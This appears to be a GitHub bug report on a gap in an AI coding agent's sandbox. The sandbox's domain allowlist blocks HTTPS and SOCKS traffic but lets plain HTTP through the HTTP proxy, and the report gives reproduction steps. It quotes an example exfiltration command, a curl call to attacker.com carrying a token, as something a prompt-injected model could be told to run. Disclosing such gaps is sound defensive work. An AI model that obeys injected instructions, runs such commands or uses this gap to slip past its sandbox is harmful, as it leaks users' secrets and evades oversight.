Sandbox: allowedDomains not enforced for plain HTTP — only HTTPS CONNECT is filtered
Summary
sandbox.network.allowedDomains filters HTTPS traffic (CONNECT tunnel stalls for unauthorized domains) but does not filter plain HTTP requests. Any process inside the sandbox can curl http://unauthorized-domain.com and get a full response. The proxy sees the Host header and has the information to filter — it just doesn't.
This is inconsistent with the SOCKS proxy, which correctly blocks both HTTP and HTTPS to unauthorized domains.
Why this matters
The sandbox is a key mitigation against prompt injection exfiltration. A malicious prompt can instruct Claude to run:
curl "http://attacker.com/log?token=SENSITIVE_VALUE"
This reaches the external server — the full URL including query params. Any tool that respects HTTP_PROXY (not just curl) can exfiltrate via this path.
Reproduction
{
"sandbox": {
"enabled": true,
"network": {
"allowedDomains": ["*.home.salakirov.com", "192.168.10.90"]
}
}
}
# HTTPS — correctly blocked
$ curl -sv --max-time 10 https://example.com
> CONNECT example.com:443 HTTP/1.1
< HTTP/1.1 200 Connection Established
# ... then stalls, TLS never completes, times out
# HTTP — not filtered, response returned
$ curl -sv --max-time 10 http://example.com
> GET http://example.com/ HTTP/1.1
> Host: example.com
< HTTP/1.1 200 OK
< server: cloudflare
< cf-ray: 9e35fb93ee551c0a-AMS
# Full response body returned
The Host: example.com header is visible to the proxy. The cf-ray header in the response confirms the request reached Cloudflare.
Inconsistency with SOCKS proxy
The sandbox sets both an HTTP proxy and a SOCKS proxy. The SOCKS proxy correctly blocks unauthorized domains for both HTTP and HTTPS:
| Channel | Domain filtered? |
|---------|-----------------|
| HTTPS via HTTP proxy (CONNECT) | Yes — tunnel stalls |
| HTTP via HTTP proxy (forward) | No — request forwarded, response returned |
| HTTPS via SOCKS proxy | Yes — connection times out |
| HTTP via SOCKS proxy | Yes — connection times out |
| Direct TCP | Yes — Seatbelt kernel block |
The HTTP proxy is the only path where allowedDomains is not enforced.
Expected behavior
Plain HTTP requests to domains not in allowedDomains should be rejected by the proxy (connection refused, 403, or similar), consistent with HTTPS CONNECT behavior and the SOCKS proxy.
Workaround
I added domain filtering to a PreToolUse hook that checks curl URLs against a local allowlist before the command runs.
Environment
- macOS 26.4, Apple Silicon (M2 Pro)
- Claude Code 2.1.86
This issue has 4 comments on GitHub. Read the full discussion on GitHub ↗